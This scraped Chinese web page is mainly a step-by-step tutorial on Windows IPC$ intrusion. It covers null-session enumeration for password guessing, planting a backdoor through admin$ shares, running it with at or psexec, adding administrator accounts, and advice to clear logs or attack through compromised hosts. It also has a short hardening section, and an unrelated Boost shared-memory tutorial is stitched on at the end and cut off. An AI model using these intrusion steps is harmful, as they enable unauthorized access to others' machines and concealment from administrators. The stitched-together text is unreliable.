精华内容
下载资源
问答
  • 一键打开IPC共享

    2013-09-27 11:13:24
    一键打开IPC共享,因为是修改注册表,所以需要重启后生效
  • IPC共享通道命令

    2013-03-19 13:12:37
    系统IPC共享通道命令的打开和关闭 如何打开目标的IPC$(此段引自相关文章)
  • linux 内核ipc共享资源 程序实例 linux 内核ipc共享资源 程序实例 linux 内核ipc共享资源 程序实例 linux 内核ipc共享资源 程序实例
  • 博客 这是一个使用ipc共享内存的简单缓冲日志记录库。
  • IPC共享内存

    2016-01-10 22:54:37
    该程序是我写的博客“一起talk C栗子吧(第九十六回:C语言实例--使用共享内存进行进程间通信二)”的配套程序,共享给大家使用
  • IPC共享连接精解

    2012-02-02 18:15:40
    IPC共享连接精解 摘要 二 什么是ipc$ 三 什么是空会话 四 空会话可以做什么 五 ipc$所使用的端口 六 ipc管道在hack攻击中的意义 七 ipc$连接失败的常见原因 八 复制文件失败的原因 九 关于at命令和xp对...
    IPC共享连接精解

    摘要
    二 什么是ipc$
    三 什么是空会话
    四 空会话可以做什么
    五 ipc$所使用的端口
    六 ipc管道在hack攻击中的意义
    七 ipc$连接失败的常见原因
    八 复制文件失败的原因
    九 关于at命令和xp对ipc$的限制
    十 如何打开目标的IPC$共享以及其他共享
    十一 一些需要shell才能完成的命令
    十二 入侵中可能会用到的命令
    十三 对比过去和现今的ipc$入侵
    十四 如何防范ipc$入侵
    十五 ipc$入侵问答精选

    一 摘要
    注意:本文所讨论的各种情况均默认发生在win NT/2000环境下,win98将不在此次讨论之列。


    二 什么是ipc$
    IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$是NT/2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。NT/2000在提供了ipc$功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(c$,d$,e$……)和系统目录winnt或windows(admin$)共享。所有的这些,微软的初衷都是为了方便管理员的管理,但在有意无意中,导致了系统安全性的降低。
    平时我们总能听到有人在说ipc$漏洞,ipc$漏洞,其实ipc$并不是一个真正意义上的漏洞,我想之所以有人这么说,一定是指微软自己安置的那个‘后门’:空会话(Null session)。那么什么是空会话呢?


    三 什么是空会话
    在介绍空会话之前,我们有必要了解一下一个安全会话是如何建立的。
    在Windows NT 4.0中是使用挑战响应协议与远程机器建立一个会话的,建立成功的会话将成为一个安全隧道,建立双方通过它互通信息,这个过程的大致顺序如下:
    1)会话请求者(客户)向会话接收者(服务器)传送一个数据包,请求安全隧道的建
    立;
    2)服务器产生一个随机的64位数(实现挑战)传送回客户;
    3)客户取得这个由服务器产生的64位数,用试图建立会话的帐号的口令打乱它,将结
    果返回到服务器(实现响应);
    4)服务器接受响应后发送给本地安全验证(LSA),LSA通过使用该用户正确的口令来核实响应以便确认请求者身份。如果请求者的帐号是服务器的本地帐号,核实本地发生;如果请求的帐号是一个域的帐号,响应传送到域控制器去核实。当对挑战的响应核实为正确后,一个访问令牌产生,然后传送给客户。客户使用这个访问令牌连接到服务器上的资源直到建议的会话被终止。
    以上是一个安全会话建立的大致过程,那么空会话又如何呢?

    空会话是在没有信任的情况下与服务器建立的会话(即未提供用户名与密码),但根据WIN2000的访问控制模型,空会话的建立同样需要提供一个令牌,可是空会话在建立过程中并没有经过用户信息的认证,所以这个令牌中不包含用户信息,因此,这个会话不能让系统间发送加密信息,但这并不表示空会话的令牌中不包含安全标识符SID(它标识了用户和所属组),对于一个空会话,LSA提供的令牌的SID是S-1-5-7,这就是空会话的SID,用户名是:ANONYMOUS LOGON(这个用户名是可以在用户列表中看到的,但是是不能在SAM数据库中找到,属于系统内置的帐号),这个访问令牌包含下面伪装的组:
    Everyone
    Network
    在安全策略的限制下,这个空会话将被授权访问到上面两个组有权访问到的一切信息。那么建立空会话到底可以作什么呢?


    四 空会话可以做什么
    对于NT,在默认安全设置下,借助空连接可以列举目标主机上的用户和共享,访问everyone权限的共享,访问小部分注册表等,并没有什么太大的利用价值;对2000作用更小,因为在Windows 2000 和以后版本中默认只有管理员和备份操作员有权从网络访问到注册表,而且实现起来也不方便,需借助工具。
    从这些我们可以看到,这种非信任会话并没有多大的用处,但从一次完整的ipc$入侵来看,空会话是一个不可缺少的跳板,因为我们从它那里可以得到户列表,而大多数弱口令扫描工具就是利用这个用户列表来进行口令猜解的,成功的导出用户列表大大增加了猜解的成功率,仅从这一点,足以说明空会话所带来的安全隐患,因此说空会话毫无用处的说法是不正确的。以下是空会话中能够使用的一些具体命令:


    1 首先,我们先建立一个空连接(当然,这需要目标开放ipc$)
    命令:net use \\ip\ipc$ "" /user:""
    注意:上面的命令包括四个空格,net与use中间有一个空格,use后面一个,密码左右各一个空格。


    2 查看远程主机的共享资源
    命令:net view \\ip
    解释:前提是建立了空连接后,用此命令可以查看远程主机的共享资源,如果它开了共享,可以得到如下面的结果,但此命令不能显示默认共享。

    在 \\*.*.*.*的共享资源
    资源共享名 类型 用途 注释

    -----------------------------------------------------------
    NETLOGON Disk Logon server share
    SYSVOL Disk Logon server share
    命令成功完成。

    3 查看远程主机的当前时间
    命令: net time \\ip
    解释:用此命令可以得到一个远程主机的当前时间。


    4 得到远程主机的NetBIOS用户名列表(需要打开自己的NBT)
    命令:nbtstat -A ip
    用此命令可以得到一个远程主机的NetBIOS用户名列表,返回如下结果:

    Node IpAddress: [*.*.*.*] Scope Id: []

    NetBIOS Remote Machine Name Table

    Name Type Status
    SERVER <00> UNIQUE Registered
    OYAMANISHI-H <00> GROUP Registered
    OYAMANISHI-H <1C> GROUP Registered
    SERVER <20> UNIQUE Registered
    OYAMANISHI-H <1B> UNIQUE Registered
    OYAMANISHI-H <1E> GROUP Registered
    SERVER <03> UNIQUE Registered
    OYAMANISHI-H <1D> UNIQUE Registered
    ..__MSBROWSE__.<01> GROUP Registered
    INet~Services <1C> GROUP Registered
    IS~SERVER......<00> UNIQUE Registered

    MAC Address = 00-50-8B-9A-2D-37


    以上就是我们经常使用空会话做的事情,好像也能获得不少东西哟,不过要注意一点:建立IPC$连接的操作会在Event Log中留下记录,不管你是否登录成功。 好了,那么下面我们就来看看ipc$所使用的端口是什么?


    五 ipc$所使用的端口
    首先我们来了解一些基础知识:
    1 SMB:(Server Message Block) Windows协议族,用于文件打印共享的服务;
    2 NBT:(NETBios Over TCP/IP)使用137(UDP)138(UDP)139(TCP)端口实现基于TCP/IP协议的NETBIOS网络互联。
    3 在WindowsNT中SMB基于NBT实现,即使用139(TCP)端口;而在Windows2000中,SMB除了基于NBT实现,还可以直接通过445端口实现。

    有了这些基础知识,我们就可以进一步来讨论访问网络共享对端口的选择了:

    对于win2000客户端(发起端)来说:
    1 如果在允许NBT的情况下连接服务器时,客户端会同时尝试访问139和445端口,如果445端口有响应,那么就发送RST包给139端口断开连接,用455端口进行会话,当445端口无响应时,才使用139端口,如果两个端口都没有响应,则会话失败;
    2 如果在禁止NBT的情况下连接服务器时,那么客户端只会尝试访问445端口,如果445端口无响应,那么会话失败。


    对于win2000服务器端来说:
    1 如果允许NBT, 那么UDP端口137, 138, TCP 端口 139, 445将开放(LISTENING);
    2 如果禁止NBT,那么只有445端口开放。


    我们建立的ipc$会话对端口的选择同样遵守以上原则。显而易见,如果远程服务器没有监听139或445端口,ipc$会话是无法建立的。


    六 ipc管道在hack攻击中的意义
    ipc管道本来是微软为了方便管理员进行远程管理而设计的,但在入侵者看来,开放ipc管道的主机似乎更容易得手。通过ipc管道,我们可以远程调用一些系统函数(大多通过工具实现,但需要相应的权限),这往往是入侵成败的关键。如果不考虑这些,仅从传送文件这一方面,ipc管道已经给了入侵者莫大的支持,甚至已经成为了最重要的传输手段,因此你总能在各大论坛上看到一些朋友因为打不开目标机器的ipc管道而一筹莫展大呼救命。当然,我们也不能忽视权限在ipc管道中扮演的重要角色,想必你一定品尝过空会话的尴尬,没有权限,开启管道我们也无可奈何。但入侵者一旦获得了管理员的权限,那么ipc管道这把双刃剑将显示出它狰狞的一面。


    七 ipc$连接失败的常见原因
    以下是一些常见的导致ipc$连接失败的原因:

    1 IPC连接是Windows NT及以上系统中特有的功能,由于其需要用到Windows NT中很多DLL函数,所以不能在Windows 9.x/Me系统中运行,也就是说只有nt/2000/xp才可以相互建立ipc$连接,98/me是不能建立ipc$连接的;


    2 如果想成功的建立一个ipc$连接,就需要响应方开启ipc$共享,即使是空连接也是这样,如果响应方关闭了ipc$共享,将不能建立连接;


    3 连接发起方未启动Lanmanworkstation服务(显示名为:Workstation):它提供网络链结和通讯,没有它发起方无法发起连接请求;


    4 响应方未启动Lanmanserver服务(显示名为:Server):它提供了 RPC 支持、文件、打印以及命名管道共享,ipc$依赖于此服务,没有它主机将无法响应发起方的连接请求,不过没有它仍可发起ipc$连接;


    5 响应方未启动NetLogon,它支持网络上计算机 pass-through 帐户登录身份(不过这种情况好像不多);


    6 响应方的139,445端口未处于监听状态或被防火墙屏蔽;


    7 连接发起方未打开139,445端口;


    8 用户名或者密码错误:如果发生这样的错误,系统将给你类似于'无法更新密码'这样的错误提示(显然空会话排除这种错误);


    9 命令输入错误:可能多了或少了空格,当用户名和密码中不包含空格时两边的双引号可以省略,如果密码为空,可以直接输入两个引号""即可;


    10 如果在已经建立好连接的情况下对方重启计算机,那么ipc$连接将会自动断开,需要重新建立连接。


    另外,你也可以根据返回的错误号分析原因:

    错误号5,拒绝访问:很可能你使用的用户不是管理员权限的;
    错误号51,Windows无法找到网络路径:网络有问题;
    错误号53,找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
    错误号67,找不到网络名:你的lanmanworkstation服务未启动或者目标删除了ipc$;
    错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个ipc$,请删除再连;
    错误号1326,未知的用户名或错误密码:原因很明显了;
    错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动;
    错误号2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。


    八 复制文件失败的原因
    有些朋友虽然成功的建立了ipc$连接,但在copy时却遇到了这样那样的麻烦,无法复制成功,那么导致复制失败的常见原因又有哪些呢?


    1 对方未开启共享文件夹
    这类错误出现的最多,占到50%以上。许多朋友在ipc$连接建立成功后,甚至都不知道对方是否有共享文件夹,就进行盲目复制,结果导致复制失败而且郁闷的很。因此我建议大家在进行复制之前务必用net view \\IP这个命令看一下你想要复制的共享文件夹是否存在(用软件查看当然更好),不要认为能建立ipc$连接就一定有共享文件夹存在。


    2 向默认共享复制失败
    这类错误也是大家经常犯的,主要有两个小方面:

    1)错误的认为能建立ipc$连接的主机就一定开启了默认共享,因而在建立完连接之后马上向c$,d$,admin$之类的默认共享复制文件,一旦对方未开启默认共享,将导致复制失败。ipc$连接成功只能说明对方打开了ipc$共享,并不能说明默认共享一定存在。ipc$共享与默认共享是两码事,ipc$共享是一个命名管道,并不是哪个实际的文件夹,而默认共享却是实实在在的共享文件夹;

    2)由于net view \\IP 这个命令无法显示默认共享文件夹(因为默认共享带$),因此通过这个命令,我们并不能判断对方是否开启了默认共享,因此如果对方未开启默认共享,那么所有向默认共享进行的操作都不能成功;(不过大部分扫描软件在扫弱口令的同时,都能扫到默认共享目录,可以避免此类错误的发生)

    要点:请大家一定区分ipc共享,默认共享,普通共享这三者的区别:ipc共享是一个管道,并不是实际的共享文件夹;默认共享是安装时默认打开的文件夹;普通共享是我们自己开启的可以设置权限的共享文件夹。


    3用户权限不够,包括四种情形:
    1)空连接向所有共享(默认共享和普通共享)复制时,权限是不够的;
    2)向默认共享复制时,在Win2000 Pro版中,只有Administrators和Backup Operators组成员才可以,在Win2000 Server版本 Server Operatros组也可以访问到这些共享目录;
    3)向普通共享复制时,要具有相应权限(即对方管理员事先设定的访问权限);
    4)对方可以通过防火墙或安全软件的设置,禁止外部访问共享;

    注意:
    1 不要认为administrator就一定具有管理员权限,管理员名称是可以改的
    2 管理员可以访问默认共享的文件夹,但不一定能够访问普通的共享文件夹,因为管理员可以对普通的共享文件夹进行访问权限设置,如图6,管理员为D盘设置的访问权限为仅允许名为xinxin的用户对该文件夹进行完全访问,那么此时即使你拥有管理员权限,你仍然不能访问D盘。不过有意思的是,如果此时对方又开启了D$的默认共享,那么你却可以访问D$,从而绕过了权限限制,有兴趣的朋友可以自己做测试。


    4被防火墙杀死或在局域网
    还有一种情况,那就是也许你的复制操作已经成功,但当远程运行时,被防火墙杀掉了,导致找不到文件;或者你把木马复制到了局域网内的主机,导致连接失败(反向连接的木马不会发生这种情况)。如果你没有想到这种情况,你会以为是复制上出了问题,但实际你的复制操作已经成功了,只是运行时出了问题。


    呵呵,大家也知道,ipc$连接在实际操作过程中会出现各种各样的问题,上面我所总结的只是一些常见错误,没说到的,大家可以给我提个醒儿。


    九 关于at命令和xp对ipc$的限制
    本来还想说一下用at远程运行程序失败的原因,但考虑到at的成功率不是很高,问题也很多,在这里就不提它了(提的越多,用的人就越多),而是推荐大家用psexec.exe远程运行程序,假设想要远程机器执行本地c:\xinxin.exe文件,且管理员为administrator,密码为1234,那么输入下面的命令:
    psexec \\ip -u administrator -p 1234 -c c:\xinxin.exe
    如果已经建立ipc连接,则-u -p这两个参数不需要,psexec.exe将自动拷贝文件到远程机器并运行。

    本来xp中的ipc$也不想在这里讨论,想单独拿出来讨论,但看到越来越多的朋友很急切的提问为什么遇到xp的时候,大部分操作都很难成功。我在这里就简单提一下吧,在xp的默认安全选项中,任何远程访问仅被赋予来宾权限,也就是说即使你是用管理员帐户和密码,你所得到的权限也只是Guest,因此大部分操作都会因为权限不够而失败,而且到目前为止并没有一个好的办法来突破这一限制。所以如果你真的得到了xp的管理员密码,我建议你尽量避开ipc管道。


    十 如何打开目标的IPC$共享以及其他共享
    目标的ipc$不是轻易就能打开的,否则就要天下打乱了。你需要一个admin权限的shell,比如telnet,木马,cmd重定向等,然后在shell下执行:
    net share ipc$
    开放目标的ipc$共享;
    net share ipc$ /del
    关闭目标的ipc$共享;如果你要给它开共享文件夹,你可以用:
    net share xinxin=c:\
    这样就把它的c盘开为共享名为xinxin共享文件夹了。(可是我发现很多人错误的认为开共享文件夹的命令是net share c$,还大模大样的给菜鸟指指点点,真是误人子弟了)。再次声明,这些操作都是在shell下才能实现的。


    十一 一些需要shell才能完成的命令
    看到很多教程这方面写的十分不准确,一些需要shell才能完成命令就简简单单的在ipc$连接下执行了,起了误导作用。那么下面我总结一下需要在shell才能完成的命令:

    1 向远程主机建立用户,激活用户,修改用户密码,加入管理组的操作需要在shell下完成;

    2 打开远程主机的ipc$共享,默认共享,普通共享的操作需要在shell下完成;

    3 运行/关闭远程主机的服务,需要在shell下完成;

    4 启动/杀掉远程主机的进程,也需要在shell下完成(用软件的情况下除外,如pskill)。


    十二 入侵中可能会用到的命令
    为了这份教程的完整性,我列出了ipc$入侵中的一些常用命令,如果你已经掌握了这些命令,你可以跳过这一部分看下面的内容。请注意这些命令是适用于本地还是远程,如果只适用于本地,你只能在获得远程主机的shell(如cmd,telnet等)后,才能向远程主机执行。


    1 建立/删除ipc$连接的命令

    1)建立空连接:
    net use \\127.0.0.1\ipc$ "" /user:""

    2)建立非空连接:
    net use \\127.0.0.1\ipc$ "密码" /user:"用户名"

    3)删除连接:
    net use \\127.0.0.1\ipc$ /del
    2 在ipc$连接中对远程主机的操作命令

    1) 查看远程主机的共享资源(看不到默认共享):
    net view \\127.0.0.1

    2) 查看远程主机的当前时间:
    net time \\127.0.0.1

    3) 得到远程主机的netbios用户名列表:
    nbtstat -A 127.0.0.1

    4)映射/删除远程共享:
    net use z: \\127.0.0.1\c
    此命令将共享名为c的共享资源映射为本地z盘

    net use z: /del
    删除映射的z盘,其他盘类推

    5)向远程主机复制文件:
    copy 路径\文件名 \\IP\共享目录名,如:
    copy c:\xinxin.exe \\127.0.0.1\c$ 即将c盘下的xinxin.exe复制到对方c盘内
    当然,你也可以把远程主机上的文件复制到自己的机器里:
    copy \\127.0.0.1\c$\xinxin.exe c:\

    6)远程添加计划任务:
    at \\IP 时间 程序名 如:
    at \\127.0.0.0 11:00 xinxin.exe
    注意:时间尽量使用24小时制;如果你打算运行的程序在系统默认搜索路径(比如system32/)下则不用加路径,否则必须加全路径


    3 本地命令

    1)查看本地主机的共享资源(可以看到本地的默认共享)
    net share

    2)得到本地主机的用户列表
    net user

    3)显示本地某用户的帐户信息
    net user 帐户名

    4)显示本地主机当前启动的服务
    net start

    5)启动/关闭本地服务
    net start 服务名
    net stop 服务名

    6)在本地添加帐户
    net user 帐户名 密码 /add

    7)激活禁用的用户
    net uesr 帐户名 /active:yes

    8)加入管理员组
    net localgroup administrators 帐户名 /add

    很显然的是,虽然这些都是本地命令,但如果你在远程主机的shell中输入,比如你telnet成功后输入上面这些命令,那么这些本地输入将作用在远程主机上。


    4 其他一些命令
    1)telnet
    telnet IP 端口
    telnet 127.0.0.0 23

    2)用opentelnet.exe开启远程主机的telnet
    OpenTelnet.exe \\ip 管理员帐号 密码 NTLM的认证方式 port
    OpenTelnet.exe \\127.0.0.1 administrator "" 1 90
    不过这个小工具需要满足四个要求:
    1)目标开启了ipc$共享
    2)你要拥有管理员密码和帐号
    3)目标开启RemoteRegistry服务,用户就可以更改ntlm认证
    4)对仅WIN2K/XP有效

    3)用psexec.exe一步获得shell,需要ipc管道支持
    psexec.exe \\IP -u 管理员帐号 -p 密码 cmd
    psexec.exe \\127.0.0.1 -u administrator -p "" cmd


    十三 对比过去和现今的ipc$入侵
    既然是对比,那么我就先把过去的ipc$入侵步骤写给大家,都是蛮经典的步骤:

    [1]
    C:\>net use \\127.0.0.1\ipc$ "" /user:admintitrators
    \\用扫到的空口令建立连接  

    [2]
    c:\>net view \\127.0.0.1
    \\查看远程的共享资源

    [3]
    C:\>copy srv.exe \\127.0.0.1\admin$\system32
    \\将一次性后门srv.exe复制到对方的系统文件夹下,前提是admin$开启  

    [4]
    C:\>net time \\127.0.0.1
    \\查看远程主机的当前时间

    [5]
    C:\>at \\127.0.0.1 时间 srv.exe
    \\用at命令远程运行srv.exe,需要对方开启了'Task Scheduler'服务  

    [6]
    C:\>net time \\127.0.0.1
    \\再次查看当前时间来估算srv.exe是否已经运行,此步可以省略

    [7]    
    C:\>telnet 127.0.0.1 99
    \\开一个新窗口,用telnet远程登陆到127.0.0.1从而获得一个shell(不懂shell是什么意思?那你就把它想象成远程机器的控制权就好了,操作像DOS),99端口是srv.exe开的一次性后门的端口  

    [8]
    C:\WINNT\system32>net start telnet
    \\我们在刚刚登陆上的shell中启动远程机器的telnet服务,毕竟srv.exe是一次性的后门,我们需要一个长久的后门便于以后访问,如果对方的telnet已经启动,此步可省略

    [9]
    C:\>copy ntlm.exe \\127.0.0.1\admin$\system32
    \\在原来那个窗口中将ntlm.exe传过去,ntlm.exe是用来更改telnet身份验证的  

    [10]
    C:\WINNT\system32>ntlm.exe
    \\在shell窗口中运行ntlm.exe,以后你就可以畅通无阻的telnet这台主机了
      
    [11]
    C:\>telnet 127.0.0.1 23
    \\在新窗口中telnet到127.0.0.1,端口23可省略,这样我们又获得一个长期的后门

    [12]
    C:\WINNT\system32>net user 帐户名 密码 /add
    C:\WINNT\system32>net uesr guest /active:yes
    C:\WINNT\system32>net localgroup administrators 帐户名 /add
    \\telnet上以后,你可以建立新帐户,激活guest,把任何帐户加入管理员组等

    好了,写到这里我似乎回到了2,3年前,那时的ipc$大家都是这么用的,不过随着新工具的出现,上面提到的一些工具和命令现在已经不常用到了,那就让我们看看现在的高效而简单的ipc$入侵吧。

    [1]
    psexec.exe \\IP -u 管理员帐号 -p 密码 cmd
    \\用这个工具我们可以一步到位的获得shell

    OpenTelnet.exe \\server 管理员帐号 密码 NTLM的认证方式 port
    \\用它可以方便的更改telnet的验证方式和端口,方便我们登陆

    [2]
    已经没有第二步了,用一步获得shell之后,你做什么都可以了,安后门可以用winshell,克隆就用ca吧,开终端用3389.vbe,记录密码用win2kpass,总之好的工具不少,随你选了,我就不多说了。


    十四 如何防范ipc$入侵察看本地共享资源
    运行-cmd-输入net share
    删除共享(每次输入一个)
    net share ipc$ /delete
    net share admin$ /delete
    net share c$ /delete
    net share d$ /delete(如果有e,f,……可以继续删除)

    1 禁止空连接进行枚举(此操作并不能阻止空连接的建立)

    运行regedit,找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为:1
    如果设置为"1",一个匿名用户仍然可以连接到IPC$共享,但无法通过这种连接得到列举SAM帐号和共享信息的权限;在Windows 2000 中增加了"2",未取得匿名权的用户将不能进行ipc$空连接。建议设置为1。如果上面所说的主键不存在,就新建一个再改键值。如果你觉得改注册表麻烦,可以在本地安全设置中设置此项: 在本地安全设置-本地策略-安全选项-'对匿名连接的额外限制'


    2 禁止默认共享

    1)察看本地共享资源
    运行-cmd-输入net share

    2)删除共享(重起后默认共享仍然存在)
    net share ipc$ /delete
    net share admin$ /delete
    net share c$ /delete
    net share d$ /delete(如果有e,f,……可以继续删除)

    3)停止server服务
    net stop server /y (重新启动后server服务会重新开启)

    4)禁止自动打开默认共享(此操作并不能关闭ipc$共享)
    运行-regedit

    server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。

    pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。
    这两个键值在默认情况下在主机上是不存在的,需要自己手动添加,修改后重起机器使设置生效。


    3 关闭ipc$和默认共享依赖的服务:server服务
    如果你真的想关闭ipc$共享,那就禁止server服务吧:
    控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-选已禁用,这时可能会有提示说:XXX服务也会关闭是否继续,因为还有些次要的服务要依赖于server服务,不要管它。


    4 屏蔽139,445端口
    由于没有以上两个端口的支持,是无法建立ipc$的,因此屏蔽139,445端口同样可以阻止ipc$入侵。

    1)139端口可以通过禁止NBT来屏蔽
    本地连接-TCP/IT属性-高级-WINS-选‘禁用TCP/IT上的NETBIOS’一项

    2)445端口可以通过修改注册表来屏蔽
    添加一个键值
    Hive: HKEY_LOCAL_MACHINE
    Key: System\Controlset\Services\NetBT\Parameters
    Name: SMBDeviceEnabled
    Type: REG_DWORD
    Value: 0
    修改完后重启机器
    注意:如果屏蔽掉了以上两个端口,你将无法用ipc$入侵别人。

    3)安装防火墙进行端口过滤


    6 设置复杂密码,防止通过ipc$穷举出密码,我觉得这才是最好的办法,增强安全意识,比不停的打补丁要安全的多。


    十五 ipc$入侵问答精选
    1.进行ipc$入侵的时候,会在服务器中留下记录,有什么办法可以不让服务器发现吗?

    答:留下记录是一定的,你走后用清除日志程序删除就可以了,或者用肉鸡入侵。


    2.你看下面的情况是为什么,可以连接但不能复制
    net use \\***.***.***.***\ipc$ "密码" /user:"用户名"
    命令成功
    copy icmd.exe \\***.***.***.***\admin$
    找不到网络路径
    命令不成功

    答:像“找不到网络路径”“找不到网络名”之类的问题,大多是因为你想要复制到的共享文件夹没有开启,所以在复制的时候会出现错误,你可以试着找找其他的共享文件夹。


    3.如果对方开了IPC$,且能建立空联接,但打开C、D盘时,都要求密码,我知道是空连接没有太多的权限,但没别的办法了吗?

    答:建议先用流光或者别的什么扫描软件试着猜解一下密码,如果猜不出来,只能放弃,毕竟空连接的能力有限。


    4.我已经猜解到了管理员的密码,且已经ipc$连接成功了,但net view \\ip发现它没开默认共享,我该怎么办?

    答:首先纠正你的一个错误,用net view \\ip是无法看到默认共享的,你可以试着将文件复制到c$,d$看看,如果都不行,说明他关闭了默认共享,那你就用opentelnet.exe或psexec.exe吧,用法上面有。


    5.ipc$连接成功后,我用下面的命令建立了一个帐户,却发现这个帐户在我自己的机器上,这是怎么回事?
    net uset ccbirds /add

    答:ipc$建立成功只能说明你与远程主机建立了通信隧道,并不意味你取得了一个shell,只有在获得一个shell(比如telnet)之后,你才能在远程机器建立一个帐户,否则你的操作只是在本地进行。


    6.我已进入了一台肉机,用的管理员帐号,可以看他的系统时间,但是复制程序到他的机子上却不行,每次都提示“拒绝访问,已复制0个文件”,是不是对方有什么服务没开,我该怎么办?

    答:一般来说“拒绝访问”都是权限不够的结果,可能是你用的帐户有问题,还有一种可能,如果你想向普通共享文件夹复制文件却返回这个错误,说明这个文件夹设置的允许访问用户中不包括你(哪怕你是管理员),这一点我在上一期文章中分析了。


    7.我用Win98能与对方建立ipc$连接吗?

    答:理论上不可以,要进行ipc$的操作,建议用win2000,用其他操作系统会带来许多不必要的麻烦。


    8.我用net use \\ip\ipc$ "" /user ""成功的建立了一个空会话,但用nbtstat -A IP 却无法导出用户列表,这是为什么?

    答:空会话在默认的情况下是可以导出用户列表的,但如果管理员通过修改注册表来禁止导出列表,就会出现你所说的情况;还有可能是你自己的NBT没有打开,netstat命令是建立在NBT之上的。  


    9.我建立ipc$连接的时候返回如下信息:‘提供的凭据与已存在的凭据集冲突’,怎么回事?

    答:呵呵,这说明你已经与目标主机建立了ipc$连接,两个主机间同时建立两个ipc$连接是不允许的。


    10.我在映射的时候出现:
    F:\>net use h: \\211.161.134.*\e$
    系统发生 85 错误。
    本地设备名已在使用中。这是怎么回事?

    答:你也太粗心了吧,这说明你有一个h盘了,映射到没有的盘符吧!


    11.我建立了一个连接f:\>net use \\*.*.*.*\ipc$ "123" /user:"guest" 成功了,但当我映射时出现了错误,向我要密码,怎么回事?
    F:\>net use h: \\*.*.*.*\c$
    密码在 \\*.*.*.*\c$ 无效。
    请键入 \\*.*.*.*\c$ 的密码:
    系统发生 5 错误。
    拒绝访问。

    答:呵呵,向你要密码说明你当前使用的用户权限不够,不能映射C$这个默认共享,想办法提升权限或者找管理员的弱口令吧!默认共享一般是需要管理员权限的。


    12.我用superscan扫到了一个开了139端口的主机,但为什么不能空连接呢?

    答:你混淆了ipc$与139的关系,能进行ipc$连接的主机一定开了139或445端口,但开这两个端口的主机可不一定能空连接,因为对方可以关闭ipc$共享.


    13.我门局域网里的机器大多都是xp,我用流光扫描到几个administrator帐号口令是空,而且可以连接,但不能复制东西,说错误5。请问为什么?

    答:xp的安全性要高一些,在安全策略的默认设置中,对本地帐户的网络登录进行身份验证的时候,默认为来宾权限,即使你用管理员远程登录,也只具有来宾权限,因此你复制文件,当然是错误5:权限不够。


    14.我用net use \\192.168.0.2\ipc$ "password" /user:"administrator" 成功,可是 net use i: \\192.168.0.2\c
    出现请键入 \\192.168.0.2 的密码,怎么回事情呢?我用的可是管理员呀?应该什么都可以访问呀?

    答:虽然你具有管理员权限,但管理员在设置c盘共享权限时(注意:普通共享可以设置访问权限,而默认共享则不能)可能并未设置允许administrator访问,所以会出现上述问题。


    15.如果自己的机器禁止了ipc$, 是不是还可以用ipc$连接别的机器?如果禁止server服务呢?

    答:禁止以上两项仍可以发起ipc$连接,不过这种问题自己动手试验会更好。


    16.能告诉我下面的两个错误产生的原因吗?
    c:\>net time \\61.225.*.*
    系统发生 5 错误。
    拒绝访问。

    c:\>net view \\61.225.*.*
    系统发生 5 错误。
    拒绝访问。

    答:起初遇到这个问题的时候我也很纳闷,错误5表示权限不够,可是连空会话的权限都可以完成上面的两个命令,他为什么不行呢?难道是他没建立连接?后来那个粗心的同志告诉我的确是这样,他忘记了自己已经删了ipc$连接,之后他又输入了上面那两个命令,随之发生了错误5。


    17.您看看这是怎么回事?
    F:\>net time
    找不到时间服务器。
    请键入 NET HELPMSG 3912 以获得更多的帮助。

    答:答案很简单,你的命令错了,应该是net time \\ip
    没输入ip地址,当然找不到服务器。view的命令也应该有ip地址,即:net view \\ip
    展开全文
  • Boost IPC共享内存的使用总结 https://my.oschina.net/lday/blog/724458 http://zh.highscore.de/cpp/boost/interprocesscommunication.html 共享内存,是进程间数据传输的方式之一。数据发送方将数据放入共享...

    Boost IPC共享内存的使用总结 

    https://my.oschina.net/lday/blog/724458

    http://zh.highscore.de/cpp/boost/interprocesscommunication.html

    共享内存,是进程间数据传输的方式之一。数据发送方将数据放入共享内存中,数据接收方则从共享内存中将数据读出,进而完成整个数据的传输。在Linux平台下,操作系统为用户提供了两套共享内存的接口:

     

    System-V共享内存接口
    int shmget(…) 创建一块共享内存
    int shmat(…) 附接一块共享内存
    int shmdt(…) 断接一块共享内存
    int shmctl(…) 获取共享内存对象信息,删除一块共享内存
    Posix共享内存接口
    int shm_open(…) 创建or打开共享内存对象
    int ftruncate(…) 设置共享内存的大小
    int fstat(…) 获取共享内存对象信息
    Int shm_unlink(…) 删除共享内存
    void *mmap(…) 将共享内存对象映射到本地进程空间中

    在Windows平台下,操作系统为用户提供的共享内存接口为:

    Windows平台共享内存接口
    HANDLE CreateFileMapping(…) 创建一块共享内存
    HANDLE OpenFileMapping(…) 附接一块共享内存
    void *MapViewOfFile(…) 将共享内存映射到本地进程空间中
    void UnmapViewOfFile(…) 释放共享内存
    void CloseHandle(…) 关闭共享内存映射文件句柄

    不同平台提供了不同的共享内存使用接口。C++ Boost库对两类平台的共享内存接口和使用方式提供了进一步抽象和封装,并将该部分功能放置在interprocess库中。完整的interprocess库介绍可参考:http://www.boost.org/doc/libs/1_57_0/doc/html/interprocess.html

    这里我通过使用场景的方式简单总结boost::interprocess share_memory的使用

    一、共享内存池的创建及销毁

    在使用共享内存之前,我们都需要创建一块共享内存。直接使用操作系统的共享内存,则在不同的平台调用指定接口即可。Boost::ipc,则需要首先创建一个托管共享内存池,所有的共享内存对象,都基于该内存池来分配内存。
    本文描述的使用场景主要依赖下述头文件:
     

    #include <boost/interprocess/managed_shared_memory.hpp>
    #include <boost/interprocess/shared_memory_object.hpp>
    #include <boost/interprocess/allocators/allocator.hpp>
    
